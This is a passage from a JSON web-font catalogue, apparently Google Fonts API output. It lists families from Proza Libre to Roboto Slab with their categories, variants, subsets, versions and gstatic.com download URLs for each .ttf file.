"http://fonts.gstatic.com/s/prostoone/v8/OpNJno4VhNfK-RgpwWWxpipfWhXD00c.ttf" } }, { "kind": "webfonts#webfont", "family": "Proza Libre", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/prozalibre/v4/LYjGdGHgj0k1DIQRyUEyyHovftvXWYyz.ttf", "italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjEdGHgj0k1DIQRyUEyyEotdN_1XJyz7zc.ttf", "500": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyELbV__fcpC69i6N.ttf", "500italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTCvceJSY8z6Np1k.ttf", "600": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEL3UP_fcpC69i6N.ttf", "600italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTAfbeJSY8z6Np1k.ttf", "700": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEKTUf_fcpC69i6N.ttf", "700italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTGPaeJSY8z6Np1k.ttf", "800": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEKPUv_fcpC69i6N.ttf", "800italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTH_ZeJSY8z6Np1k.ttf" } }, { "kind": "webfonts#webfont", "family": "Public Sans", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900", "100italic", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v3", "lastModified": "2020-02-05", "files": { "100": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpi5ww0pX189fg.ttf", "200": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulpm5ww0pX189fg.ttf", "300": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuSJm5ww0pX189fg.ttf", "regular": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpm5ww0pX189fg.ttf", "500": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuJJm5ww0pX189fg.ttf", "600": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuyJ65ww0pX189fg.ttf", "700": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymu8Z65ww0pX189fg.ttf", "800": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulp65ww0pX189fg.ttf", "900": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuv565ww0pX189fg.ttf", "100italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgQctfVotfj7j.ttf", "200italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRgActfVotfj7j.ttf", "300italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673toPgActfVotfj7j.ttf", "italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgActfVotfj7j.ttf", "500italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpjgActfVotfj7j.ttf", "600italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tqPhwctfVotfj7j.ttf", "700italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tq2hwctfVotfj7j.ttf", "800italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRhwctfVotfj7j.ttf", "900italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tr4hwctfVotfj7j.ttf" } }, { "kind": "webfonts#webfont", "family": "Puritan", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/puritan/v11/845YNMgkAJ2VTtIo9JrwRdaI50M.ttf", "italic": "http://fonts.gstatic.com/s/puritan/v11/845aNMgkAJ2VTtIoxJj6QfSN90PfXA.ttf", "700": "http://fonts.gstatic.com/s/puritan/v11/845dNMgkAJ2VTtIozCbfYd6j-0rGRes.ttf", "700italic": "http://fonts.gstatic.com/s/puritan/v11/845fNMgkAJ2VTtIoxJjC_dup_2jDVevnLQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Purple Purse", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/purplepurse/v8/qWctB66gv53iAp-Vfs4My6qyeBb_ujA4ug.ttf" } }, { "kind": "webfonts#webfont", "family": "Quando", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/quando/v8/xMQVuFNaVa6YuW0pC6WzKX_QmA.ttf" } }, { "kind": "webfonts#webfont", "family": "Quantico", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/quantico/v9/rax-HiSdp9cPL3KIF4xsLjxSmlLZ.ttf", "italic": "http://fonts.gstatic.com/s/quantico/v9/rax4HiSdp9cPL3KIF7xuJDhwn0LZ6T8.ttf", "700": "http://fonts.gstatic.com/s/quantico/v9/rax5HiSdp9cPL3KIF7TQARhasU7Q8Cad.ttf", "700italic": "http://fonts.gstatic.com/s/quantico/v9/rax7HiSdp9cPL3KIF7xuHIRfu0ry9TadML4.ttf" } }, { "kind": "webfonts#webfont", "family": "Quattrocento", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/quattrocento/v11/OZpEg_xvsDZQL_LKIF7q4jPHxGL7f4jFuA.ttf", "700": "http://fonts.gstatic.com/s/quattrocento/v11/OZpbg_xvsDZQL_LKIF7q4jP_eE3fd6PZsXcM9w.ttf" } }, { "kind": "webfonts#webfont", "family": "Quattrocento Sans", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9c4lja2NVIDdIAAoMR5MfuElaRB3zOvU7eHGHJ.ttf", "italic": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9a4lja2NVIDdIAAoMR5MfuElaRB0zMt0r8GXHJkLI.ttf", "700": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9Z4lja2NVIDdIAAoMR5MfuElaRB0RykmrWN33AiasJ.ttf", "700italic": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9X4lja2NVIDdIAAoMR5MfuElaRB0zMj_bTPXnijLsJV7E.ttf" } }, { "kind": "webfonts#webfont", "family": "Questrial", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/questrial/v9/QdVUSTchPBm7nuUeVf7EuStkm20oJA.ttf" } }, { "kind": "webfonts#webfont", "family": "Quicksand", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v20", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkKEo18G0wx40QDw.ttf", "regular": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkP8o18G0wx40QDw.ttf", "500": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkM0o18G0wx40QDw.ttf", "600": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkCEv18G0wx40QDw.ttf", "700": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkBgv18G0wx40QDw.ttf" } }, { "kind": "webfonts#webfont", "family": "Quintessential", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/quintessential/v7/fdNn9sOGq31Yjnh3qWU14DdtjY5wS7kmAyxM.ttf" } }, { "kind": "webfonts#webfont", "family": "Qwigley", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/qwigley/v9/1cXzaU3UGJb5tGoCuVxsi1mBmcE.ttf" } }, { "kind": "webfonts#webfont", "family": "Racing Sans One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/racingsansone/v7/sykr-yRtm7EvTrXNxkv5jfKKyDCwL3rmWpIBtA.ttf" } }, { "kind": "webfonts#webfont", "family": "Radley", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/radley/v14/LYjDdGzinEIjCN19oAlEpVs3VQ.ttf", "italic": "http://fonts.gstatic.com/s/radley/v14/LYjBdGzinEIjCN1NogNAh14nVcfe.ttf" } }, { "kind": "webfonts#webfont", "family": "Rajdhani", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pasEcOsc-bGkqIw.ttf", "regular": "http://fonts.gstatic.com/s/rajdhani/v9/LDIxapCSOBg7S-QT7q4AOeekWPrP.ttf", "500": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pb0EMOsc-bGkqIw.ttf", "600": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pbYF8Osc-bGkqIw.ttf", "700": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pa8FsOsc-bGkqIw.ttf" } }, { "kind": "webfonts#webfont", "family": "Rakkas", "category": "display", "variants": [ "regular" ], "subsets": [ "arabic", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rakkas/v7/Qw3cZQlNHiblL3j_lttPOeMcCw.ttf" } }, { "kind": "webfonts#webfont", "family": "Raleway", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-23", "files": { "100": "http://fonts.gstatic.com/s/raleway/v14/1Ptsg8zYS_SKggPNwE4ISotrDfGGxA.ttf", "100italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptqg8zYS_SKggPNyCgwLoFvL_SWxEMT.ttf", "200": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwOIpaqFFAfif3Vo.ttf", "200italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwgqBPBdqazVoK4A.ttf", "300": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwIYqaqFFAfif3Vo.ttf", "300italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw5qNPBdqazVoK4A.ttf", "regular": "http://fonts.gstatic.com/s/raleway/v14/1Ptug8zYS_SKggPN-CoCTqluHfE.ttf", "italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptsg8zYS_SKggPNyCgISotrDfGGxA.ttf", "500": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwN4raqFFAfif3Vo.ttf", "500italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwvqJPBdqazVoK4A.ttf", "600": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwPIsaqFFAfif3Vo.ttf", "600italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwkqVPBdqazVoK4A.ttf", "700": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwJYtaqFFAfif3Vo.ttf", "700italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw9qRPBdqazVoK4A.ttf", "800": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwIouaqFFAfif3Vo.ttf", "800italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgw6qdPBdqazVoK4A.ttf", "900": "http://fonts.gstatic.com/s/raleway/v14/1Ptrg8zYS_SKggPNwK4vaqFFAfif3Vo.ttf", "900italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptpg8zYS_SKggPNyCgwzqZPBdqazVoK4A.ttf" } }, { "kind": "webfonts#webfont", "family": "Raleway Dots", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ralewaydots/v7/6NUR8FifJg6AfQvzpshgwJ8kyf9Fdty2ew.ttf" } }, { "kind": "webfonts#webfont", "family": "Ramabhadra", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ramabhadra/v9/EYq2maBOwqRW9P1SQ83LehNGX5uWw3o.ttf" } }, { "kind": "webfonts#webfont", "family": "Ramaraja", "category": "serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ramaraja/v4/SlGTmQearpYAYG1CABIkqnB6aSQU.ttf" } }, { "kind": "webfonts#webfont", "family": "Rambla", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rambla/v7/snfrs0ip98hx6mr0I7IONthkwQ.ttf", "italic": "http://fonts.gstatic.com/s/rambla/v7/snfps0ip98hx6mrEIbgKFN10wYKa.ttf", "700": "http://fonts.gstatic.com/s/rambla/v7/snfos0ip98hx6mrMn50qPvN4yJuDYQ.ttf", "700italic": "http://fonts.gstatic.com/s/rambla/v7/snfus0ip98hx6mrEIYC2O_l86p6TYS-Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Rammetto One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rammettoone/v8/LhWiMV3HOfMbMetJG3lQDpp9Mvuciu-_SQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Ranchers", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ranchers/v7/zrfm0H3Lx-P2Xvs2AoDYDC79XTHv.ttf" } }, { "kind": "webfonts#webfont", "family": "Rancho", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rancho/v10/46kulbzmXjLaqZRlbWXgd0RY1g.ttf" } }, { "kind": "webfonts#webfont", "family": "Ranga", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ranga/v5/C8ct4cYisGb28p6CLDwZwmGE.ttf", "700": "http://fonts.gstatic.com/s/ranga/v5/C8cg4cYisGb28qY-AxgR6X2NZAn2.ttf" } }, { "kind": "webfonts#webfont", "family": "Rasa", "category": "serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "gujarati", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdg52sgC7S9XdZN8.ttf", "regular": "http://fonts.gstatic.com/s/rasa/v5/xn7vYHIn1mWmTqJelgiQV9w.ttf", "500": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdlZ3sgC7S9XdZN8.ttf", "600": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdnpwsgC7S9XdZN8.ttf", "700": "http://fonts.gstatic.com/s/rasa/v5/xn7gYHIn1mWmdh5xsgC7S9XdZN8.ttf" } }, { "kind": "webfonts#webfont", "family": "Rationale", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rationale/v11/9XUnlJ92n0_JFxHIfHcsdlFMzLC2Zw.ttf" } }, { "kind": "webfonts#webfont", "family": "Ravi Prakash", "category": "display", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/raviprakash/v6/gokpH6fsDkVrF9Bv9X8SOAKHmNZEq6TTFw.ttf" } }, { "kind": "webfonts#webfont", "family": "Red Hat Display", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIQ7wUr0m80wwYf0QCXZzYzUoTQ-jSgZYvdCQ.ttf", "italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIS7wUr0m80wwYf0QCXZzYzUoTg-D6kR47NCV5Z.ttf", "500": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoToDh2EbaDBAEdAbw.ttf", "500italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AZQbqrFIkJQb7zU.ttf", "700": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoToRhuEbaDBAEdAbw.ttf", "700italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYYaKrFIkJQb7zU.ttf", "900": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIV7wUr0m80wwYf0QCXZzYzUoTofhmEbaDBAEdAbw.ttf", "900italic": "http://fonts.gstatic.com/s/redhatdisplay/v3/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYgaqrFIkJQb7zU.ttf" } }, { "kind": "webfonts#webfont", "family": "Red Hat Text", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v2", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/redhattext/v2/RrQXbohi_ic6B3yVSzGBrMxgb60sE8yZPA.ttf", "italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQJbohi_ic6B3yVSzGBrMxQbacoMcmJPECN.ttf", "500": "http://fonts.gstatic.com/s/redhattext/v2/RrQIbohi_ic6B3yVSzGBrMxYm4QIG-eFNVmULg.ttf", "500italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQKbohi_ic6B3yVSzGBrMxQbZ_cGO2BF1yELmgy.ttf", "700": "http://fonts.gstatic.com/s/redhattext/v2/RrQIbohi_ic6B3yVSzGBrMxY04IIG-eFNVmULg.ttf", "700italic": "http://fonts.gstatic.com/s/redhattext/v2/RrQKbohi_ic6B3yVSzGBrMxQbZ-UHu2BF1yELmgy.ttf" } }, { "kind": "webfonts#webfont", "family": "Redressed", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/redressed/v10/x3dickHUbrmJ7wMy9MsBfPACvy_1BA.ttf" } }, { "kind": "webfonts#webfont", "family": "Reem Kufi", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "arabic", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/reemkufi/v7/2sDcZGJLip7W2J7v7wQDb2-4C7wFZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Reenie Beanie", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/reeniebeanie/v10/z7NSdR76eDkaJKZJFkkjuvWxbP2_qoOgf_w.ttf" } }, { "kind": "webfonts#webfont", "family": "Revalia", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/revalia/v7/WwkexPimBE2-4ZPEeVruNIgJSNM.ttf" } }, { "kind": "webfonts#webfont", "family": "Rhodium Libre", "category": "serif", "variants": [ "regular" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/rhodiumlibre/v4/1q2AY5adA0tn_ukeHcQHqpx6pETLeo2gm2U.ttf" } }, { "kind": "webfonts#webfont", "family": "Ribeye", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ribeye/v8/L0x8DFMxk1MP9R3RvPCmRSlUig.ttf" } }, { "kind": "webfonts#webfont", "family": "Ribeye Marrow", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ribeyemarrow/v9/GFDsWApshnqMRO2JdtRZ2d0vEAwTVWgKdtw.ttf" } }, { "kind": "webfonts#webfont", "family": "Righteous", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/righteous/v8/1cXxaUPXBpj2rGoU7C9mj3uEicG01A.ttf" } }, { "kind": "webfonts#webfont", "family": "Risque", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/risque/v7/VdGfAZUfHosahXxoCUYVBJ-T5g.ttf" } }, { "kind": "webfonts#webfont", "family": "Roboto", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v20", "lastModified": "2019-07-24", "files": { "100": "http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgWxPKTM1K9nz.ttf", "100italic": "http://fonts.gstatic.com/s/roboto/v20/KFOiCnqEu92Fr1Mu51QrIzcXLsnzjYk.ttf", "300": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmSU5vAx05IsDqlA.ttf", "300italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TjARc9AMX6lJBP.ttf", "regular": "http://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5WZLCzYlKw.ttf", "italic": "http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1Mu52xPKTM1K9nz.ttf", "500": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAx05IsDqlA.ttf", "500italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51S7ABc9AMX6lJBP.ttf", "700": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlvAx05IsDqlA.ttf", "700italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TzBhc9AMX6lJBP.ttf", "900": "http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmYUtvAx05IsDqlA.ttf", "900italic": "http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TLBBc9AMX6lJBP.ttf" } }, { "kind": "webfonts#webfont", "family": "Roboto Condensed", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v18", "lastModified": "2019-07-23", "files": { "300": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVi2ZhZI2eCN5jzbjEETS9weq8-33mZKCMSbvtdYyQ.ttf", "300italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDpCEYatlYcyRi4A.ttf", "regular": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVl2ZhZI2eCN5jzbjEETS9weq8-59WxDCs5cvI.ttf", "italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVj2ZhZI2eCN5jzbjEETS9weq8-19e7CAk8YvJEeg.ttf", "700": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVi2ZhZI2eCN5jzbjEETS9weq8-32meKCMSbvtdYyQ.ttf", "700italic": "http://fonts.gstatic.com/s/robotocondensed/v18/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDtCYYatlYcyRi4A.ttf" } }, { "kind": "webfonts#webfont", "family": "Roboto Mono", "category": "monospace", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/robotomono/v7/L0x7DF4xlVMF-BfR8bXMIjAoq3qcW7KCG1w.ttf", "100italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xlDF4xlVMF-BfR8bXMIjhOkx6WX5CHC1wnFw.ttf", "300": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjDgiVq2db6LAkU-.ttf", "300italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk9a0f7qpB1U-Drg.ttf", "regular": "http://fonts.gstatic.com/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIghMoX6-XqKC.ttf", "italic": "http://fonts.gstatic.com/s/robotomono/v7/L0x7DF4xlVMF-BfR8bXMIjhOq3qcW7KCG1w.ttf", "500": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjC4iFq2db6LAkU-.ttf", "500italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk461f7qpB1U-Drg.ttf", "700": "http://fonts.gstatic.com/s/robotomono/v7/L0xkDF4xlVMF-BfR8bXMIjDwjlq2db6LAkU-.ttf", "700italic": "http://fonts.gstatic.com/s/robotomono/v7/L0xmDF4xlVMF-BfR8bXMIjhOk8azf7qpB1U-Drg.ttf" } }, { "kind": "webfonts#webfont", "family": "Roboto Slab", "category": "serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v11", "lastModified": "2020-02-05", "files": { "100": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojIWWaG5iddG-1A.ttf", "200": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDISWaG5iddG-1A.ttf", "300": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjo0oSWaG5iddG-1A.ttf", "regular": "http://fonts.gstatic.com/s/robotoslab/v11/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojISWaG5iddG-1A.ttf", 